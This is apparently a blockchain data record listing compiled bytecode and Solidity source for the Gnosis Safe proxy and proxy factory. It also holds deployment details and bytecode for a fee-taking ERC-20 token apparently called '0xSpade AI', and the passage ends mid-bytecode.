608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,238 |
9f08f3cfb5f64db18f6596eeb203cf385840fad18500778137a42cf668a4e840
|
4dccc67e7868ffa32a7d49ee69703820cf83bb059604b31903bf7010d6fac68e
|
5b106d74797d0e0c68b6c2a9487a8add8b6f9684
|
5b106d74797d0e0c68b6c2a9487a8add8b6f9684
|
ee27bff55522dee83ff2a48d2f5d146f3eb234c5
|
60806040526002600755600260085560006009556009600a6200002391906200030c565b6200003290621e848062000324565b600b55620000436009600a6200030c565b6200005290621e848062000324565b600c55600d805462ffff00191690553480156200006e57600080fd5b5060405162001dff38038062001dff83398101604081905262000091916200033e565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b0319166001600160a01b038316179055620000fb6009600a6200030c565b6200010b906305f5e10062000324565b336000908152600160208190526040822092909255600390620001366000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790556004549091168152600390925280822080548416600190811790915530835291208054909216179055620001953390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620001cf6009600a6200030c565b620001df906305f5e10062000324565b60405190815260200160405180910390a35062000369565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200024e578160001904821115620002325762000232620001f7565b808516156200024057918102915b93841c939080029062000212565b509250929050565b600082620002675750600162000306565b81620002765750600062000306565b81600181146200028f57600281146200029a57620002ba565b600191505062000306565b60ff841115620002ae57620002ae620001f7565b50506001821b62000306565b5060208310610133831016604e8410600b8410161715620002df575081810a62000306565b620002eb83836200020d565b8060001904821115620003025762000302620001f7565b0290505b92915050565b60006200031d60ff84168362000256565b9392505050565b8082028115828204841417620003065762000306620001f7565b6000602082840312156200035157600080fd5b81516001600160a01b03811681146200031d57600080fd5b611a8680620003796000396000f3fe6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461031757806395d89b411461032d578063a9059cbb14610359578063bf474bed14610379578063dd62ed3e1461038e57600080fd5b806370a0823114610279578063715018a6146102af5780637d1db4a5146102c457806380ae4ebc146102da5780638da5cb5b146102ef57600080fd5b806323b872dd116100e757806323b872dd146101f3578063313ce567146102135780634a30b3861461022f57806351bc3c851461024457806361df9f981461025957600080fd5b806306fdde031461012f578063095ea7b3146101745780630faee56f146101a457806318160ddd146101c75780631c1702f3146101dc57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152693078537061646520414960b01b60208201525b60405161016b9190611633565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611699565b6103d4565b604051901515815260200161016b565b3480156101b057600080fd5b506101b96103eb565b60405190815260200161016b565b3480156101d357600080fd5b506101b9610407565b3480156101e857600080fd5b506101f1610428565b005b3480156101ff57600080fd5b5061019461020e3660046116c5565b610501565b34801561021f57600080fd5b506040516009815260200161016b565b34801561023b57600080fd5b506101f161056a565b34801561025057600080fd5b506101f1610617565b34801561026557600080fd5b506101f1610274366004611706565b61066a565b34801561028557600080fd5b506101b9610294366004611728565b6001600160a01b031660009081526001602052604090205490565b3480156102bb57600080fd5b506101f1610737565b3480156102d057600080fd5b506101b9600b5481565b3480156102e657600080fd5b506101f16107ab565b3480156102fb57600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561032357600080fd5b506101b9600c5481565b34801561033957600080fd5b5060408051808201909152600381526253504160e81b602082015261015e565b34801561036557600080fd5b50610194610374366004611699565b610b7d565b34801561038557600080fd5b506101b9610b8a565b34801561039a57600080fd5b506101b96103a9366004611745565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e1338484610ba2565b5060015b92915050565b6103f76009600a611878565b610404906207a120611887565b81565b60006104156009600a611878565b610423906305f5e100611887565b905090565b6000546001600160a01b0316331461045b5760405162461bcd60e51b81526004016104529061189e565b60405180910390fd5b600d5460ff16156104a55760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610452565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b600061050e848484610c6f565b610560843361055b85604051806060016040528060288152602001611a29602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061129c565b610ba2565b5060019392505050565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016104529061189e565b6105a06009600a611878565b6105ae906305f5e100611887565b600b556105bd6009600a611878565b6105cb906305f5e100611887565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105fb6009600a611878565b610609906305f5e100611887565b6040519081526020016104f7565b6004546001600160a01b0316336001600160a01b03161461063757600080fd5b30600090815260016020526040902054801561065657610656816112d6565b478015610666576106668161144a565b5050565b6000546001600160a01b031633146106945760405162461bcd60e51b81526004016104529061189e565b601e82111580156106a65750601e8111155b80156106b45750600d5460ff165b6106f05760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b6044820152606401610452565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016104529061189e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107d55760405162461bcd60e51b81526004016104529061189e565b600d5460ff161561081e5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610452565b6000610869610853606461084d601e6108396009600a611878565b610847906305f5e100611887565b90611484565b9061150d565b306000908152600160205260409020549061154f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556004549192506001600160a01b0391909116906108c59030906108b76009600a611878565b61055b906305f5e100611887565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c91906118d3565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c291906118d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3391906118d3565b600580546001600160a01b0319166001600160a01b03929092169182179055610a6390826108b76009600a611878565b6006546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201523360848201524260a482015290516001600160a01b039092169163f305d71991479160c4808301926060929190829003018185885af1158015610ad6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610afb91906118f0565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b78919061191e565b505050565b60006103e1338484610c6f565b610b966009600a611878565b610404906107d0611887565b6001600160a01b03831615801590610bc257506001600160a01b03821615155b610c0e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f2061646472657373006044820152606401610452565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c8f57506001600160a01b03821615155b610cdb5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f20616464726573736044820152606401610452565b60008111610d3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b600080546001600160a01b03858116911614801590610d6a57506000546001600160a01b03848116911614155b1561115957600d5460ff16610dfb576001600160a01b03831660009081526003602052604090205460ff1680610db857506001600160a01b03841660009081526003602052604090205460ff165b610dfb5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610452565b6005546001600160a01b038581169116148015610e2657506006546001600160a01b03848116911614155b8015610e4b57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3357600b54821115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610452565b600c5482610ec5856001600160a01b031660009081526001602052604090205490565b610ecf9190611940565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610452565b60098054906000610f2d83611953565b91905055505b6005546001600160a01b038481169116148015610f5957506001600160a01b0384163014155b15610f90576064610f7f600f60095411610f7457601e610f78565b6008545b8490611484565b610f89919061196c565b9050610fe8565b6005546001600160a01b038581169116148015610fb657506001600160a01b0383163014155b15610fe8576064610fdb600f60095411610fd157601e610f78565b6007548490611484565b610fe5919061196c565b90505b80600a6000828254610ffa9190611940565b909155505030600090815260016020526040902054600d54610100900460ff1615801561103457506005546001600160a01b038581169116145b80156110485750600d5462010000900460ff165b801561106a575061105b6009600a611878565b611067906107d0611887565b81115b80156110785750600f600954115b801561109c575061108b6009600a611878565b611097906103e8611887565b600a54115b80156110be57506110af6009600a611878565b6110bb906107d0611887565b83115b156111575760006110d16009600a611878565b6110de906207a120611887565b82116110ea5781611103565b6110f66009600a611878565b611103906207a120611887565b905061111b81851161111557846112d6565b816112d6565b600061112f476702c68af0bb140000611591565b9050600061113d824761198e565b9050801561114e5761114e8161144a565b50506000600a55505b505b80156111d3573060009081526001602052604090205461117990826115a6565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ca9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111f6908361154f565b6001600160a01b03851660009081526001602052604090205561123b61121c838361154f565b6001600160a01b038516600090815260016020526040902054906115a6565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611285858561154f565b60405190815260200160405180910390a350505050565b600081848411156112c05760405162461bcd60e51b81526004016104529190611633565b5060006112cd848661198e565b95945050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131a5761131a6119a1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611373573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139791906118d3565b816001815181106113aa576113aa6119a1565b6001600160a01b0392831660209182029290920101526006546113d09130911684610ba2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114099085906000908690309042906004016119b7565b600060405180830381600087803b15801561142357600080fd5b505af1158015611437573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610666573d6000803e3d6000fd5b600082600003611496575060006103e5565b60006114a28385611887565b9050826114af858361196c565b146115065760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610452565b9392505050565b600061150683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611605565b600061150683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061129c565b60008183116115a05782611506565b50919050565b6000806115b38385611940565b9050838110156115065760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610452565b600081836116265760405162461bcd60e51b81526004016104529190611633565b5060006112cd848661196c565b600060208083528351808285015260005b8181101561166057858101830151858201604001528201611644565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461169657600080fd5b50565b600080604083850312156116ac57600080fd5b82356116b781611681565b946020939093013593505050565b6000806000606084860312156116da57600080fd5b83356116e581611681565b925060208401356116f581611681565b929592945050506040919091013590565b6000806040838503121561171957600080fd5b50508035926020909101359150565b60006020828403121561173a57600080fd5b813561150681611681565b6000806040838503121561175857600080fd5b823561176381611681565b9150602083013561177381611681565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117cf5781600019048211156117b5576117b561177e565b808516156117c257918102915b93841c9390800290611799565b509250929050565b6000826117e6575060016103e5565b816117f3575060006103e5565b816001811461180957600281146118135761182f565b60019150506103e5565b60ff8411156118245761182461177e565b50506001821b6103e5565b5060208310610133831016604e8410600b8410161715611852575081810a6103e5565b61185c8383611794565b80600019048211156118705761187061177e565b029392505050565b600061150660ff8416836117d7565b80820281158282048414176103e5576103e561177e565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156118e557600080fd5b815161150681611681565b60008060006060848603121561190557600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561193057600080fd5b8151801515811461150657600080fd5b808201808211156103e5576103e561177e565b6000600182016119655761196561177e565b5060010190565b60008261198957634e487b7160e01b600052601260045260246000fd5b500490565b818103818111156103e5576103e561177e565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a075784516001600160a01b0316835293830193918301916001016119e2565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220335ba4a9ef4025642dd996eb8416fce4af75dff32539521ab668611671e55e3964736f6c6343000813003300000000000000000000000028dccd8559dddb4a964bcf2ed0dbdefdc3bb651f
|
6080604052600436106101235760003560e01c806370a08231116100a05780638f9a55c0116100645780638f9a55c01461031757806395d89b411461032d578063a9059cbb14610359578063bf474bed14610379578063dd62ed3e1461038e57600080fd5b806370a0823114610279578063715018a6146102af5780637d1db4a5146102c457806380ae4ebc146102da5780638da5cb5b146102ef57600080fd5b806323b872dd116100e757806323b872dd146101f3578063313ce567146102135780634a30b3861461022f57806351bc3c851461024457806361df9f981461025957600080fd5b806306fdde031461012f578063095ea7b3146101745780630faee56f146101a457806318160ddd146101c75780631c1702f3146101dc57600080fd5b3661012a57005b600080fd5b34801561013b57600080fd5b5060408051808201909152600a8152693078537061646520414960b01b60208201525b60405161016b9190611633565b60405180910390f35b34801561018057600080fd5b5061019461018f366004611699565b6103d4565b604051901515815260200161016b565b3480156101b057600080fd5b506101b96103eb565b60405190815260200161016b565b3480156101d357600080fd5b506101b9610407565b3480156101e857600080fd5b506101f1610428565b005b3480156101ff57600080fd5b5061019461020e3660046116c5565b610501565b34801561021f57600080fd5b506040516009815260200161016b565b34801561023b57600080fd5b506101f161056a565b34801561025057600080fd5b506101f1610617565b34801561026557600080fd5b506101f1610274366004611706565b61066a565b34801561028557600080fd5b506101b9610294366004611728565b6001600160a01b031660009081526001602052604090205490565b3480156102bb57600080fd5b506101f1610737565b3480156102d057600080fd5b506101b9600b5481565b3480156102e657600080fd5b506101f16107ab565b3480156102fb57600080fd5b506000546040516001600160a01b03909116815260200161016b565b34801561032357600080fd5b506101b9600c5481565b34801561033957600080fd5b5060408051808201909152600381526253504160e81b602082015261015e565b34801561036557600080fd5b50610194610374366004611699565b610b7d565b34801561038557600080fd5b506101b9610b8a565b34801561039a57600080fd5b506101b96103a9366004611745565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103e1338484610ba2565b5060015b92915050565b6103f76009600a611878565b610404906207a120611887565b81565b60006104156009600a611878565b610423906305f5e100611887565b905090565b6000546001600160a01b0316331461045b5760405162461bcd60e51b81526004016104529061189e565b60405180910390fd5b600d5460ff16156104a55760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610452565b600d80546201000162ff00ff19909116179081905560408051600181526201000090920460ff16151560208301527f41a09f17206aad1ccd4bae176b5c5e0b2154e569947545c9019e6bb0cb4ef59c91015b60405180910390a1565b600061050e848484610c6f565b610560843361055b85604051806060016040528060288152602001611a29602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061129c565b610ba2565b5060019392505050565b6000546001600160a01b031633146105945760405162461bcd60e51b81526004016104529061189e565b6105a06009600a611878565b6105ae906305f5e100611887565b600b556105bd6009600a611878565b6105cb906305f5e100611887565b600c557f69ada53addde5123341ce3a822c5f66292103b2771e41e1f3c00c2de8a63a7f96105fb6009600a611878565b610609906305f5e100611887565b6040519081526020016104f7565b6004546001600160a01b0316336001600160a01b03161461063757600080fd5b30600090815260016020526040902054801561065657610656816112d6565b478015610666576106668161144a565b5050565b6000546001600160a01b031633146106945760405162461bcd60e51b81526004016104529061189e565b601e82111580156106a65750601e8111155b80156106b45750600d5460ff165b6106f05760405162461bcd60e51b815260206004820152600d60248201526c457863656564732076616c756560981b6044820152606401610452565b6007829055600881905560408051838152602081018390527f78009e5656a5c60b3c047015fb856b2efbc6f42beed76119406d7d4e3fc161f4910160405180910390a15050565b6000546001600160a01b031633146107615760405162461bcd60e51b81526004016104529061189e565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107d55760405162461bcd60e51b81526004016104529061189e565b600d5460ff161561081e5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610452565b6000610869610853606461084d601e6108396009600a611878565b610847906305f5e100611887565b90611484565b9061150d565b306000908152600160205260409020549061154f565b600680546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556004549192506001600160a01b0391909116906108c59030906108b76009600a611878565b61055b906305f5e100611887565b600660009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c91906118d3565b6001600160a01b031663c9c6539630600660009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561099e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c291906118d3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a0f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3391906118d3565b600580546001600160a01b0319166001600160a01b03929092169182179055610a6390826108b76009600a611878565b6006546040805163f305d71960e01b81523060048201526024810185905260006044820181905260648201523360848201524260a482015290516001600160a01b039092169163f305d71991479160c4808301926060929190829003018185885af1158015610ad6573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610afb91906118f0565b505060055460065460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b78919061191e565b505050565b60006103e1338484610c6f565b610b966009600a611878565b610404906107d0611887565b6001600160a01b03831615801590610bc257506001600160a01b03821615155b610c0e5760405162461bcd60e51b815260206004820152601f60248201527f45524332303a20617070726f766520746865207a65726f2061646472657373006044820152606401610452565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831615801590610c8f57506001600160a01b03821615155b610cdb5760405162461bcd60e51b815260206004820181905260248201527f45524332303a207472616e7366657220746865207a65726f20616464726573736044820152606401610452565b60008111610d3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610452565b600080546001600160a01b03858116911614801590610d6a57506000546001600160a01b03848116911614155b1561115957600d5460ff16610dfb576001600160a01b03831660009081526003602052604090205460ff1680610db857506001600160a01b03841660009081526003602052604090205460ff165b610dfb5760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610452565b6005546001600160a01b038581169116148015610e2657506006546001600160a01b03848116911614155b8015610e4b57506001600160a01b03831660009081526003602052604090205460ff16155b15610f3357600b54821115610ea25760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610452565b600c5482610ec5856001600160a01b031660009081526001602052604090205490565b610ecf9190611940565b1115610f1d5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610452565b60098054906000610f2d83611953565b91905055505b6005546001600160a01b038481169116148015610f5957506001600160a01b0384163014155b15610f90576064610f7f600f60095411610f7457601e610f78565b6008545b8490611484565b610f89919061196c565b9050610fe8565b6005546001600160a01b038581169116148015610fb657506001600160a01b0383163014155b15610fe8576064610fdb600f60095411610fd157601e610f78565b6007548490611484565b610fe5919061196c565b90505b80600a6000828254610ffa9190611940565b909155505030600090815260016020526040902054600d54610100900460ff1615801561103457506005546001600160a01b038581169116145b80156110485750600d5462010000900460ff165b801561106a575061105b6009600a611878565b611067906107d0611887565b81115b80156110785750600f600954115b801561109c575061108b6009600a611878565b611097906103e8611887565b600a54115b80156110be57506110af6009600a611878565b6110bb906107d0611887565b83115b156111575760006110d16009600a611878565b6110de906207a120611887565b82116110ea5781611103565b6110f66009600a611878565b611103906207a120611887565b905061111b81851161111557846112d6565b816112d6565b600061112f476702c68af0bb140000611591565b9050600061113d824761198e565b9050801561114e5761114e8161144a565b50506000600a55505b505b80156111d3573060009081526001602052604090205461117990826115a6565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111ca9085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546111f6908361154f565b6001600160a01b03851660009081526001602052604090205561123b61121c838361154f565b6001600160a01b038516600090815260016020526040902054906115a6565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611285858561154f565b60405190815260200160405180910390a350505050565b600081848411156112c05760405162461bcd60e51b81526004016104529190611633565b5060006112cd848661198e565b95945050505050565b600d805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131a5761131a6119a1565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611373573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139791906118d3565b816001815181106113aa576113aa6119a1565b6001600160a01b0392831660209182029290920101526006546113d09130911684610ba2565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac947906114099085906000908690309042906004016119b7565b600060405180830381600087803b15801561142357600080fd5b505af1158015611437573d6000803e3d6000fd5b5050600d805461ff001916905550505050565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610666573d6000803e3d6000fd5b600082600003611496575060006103e5565b60006114a28385611887565b9050826114af858361196c565b1461150657604051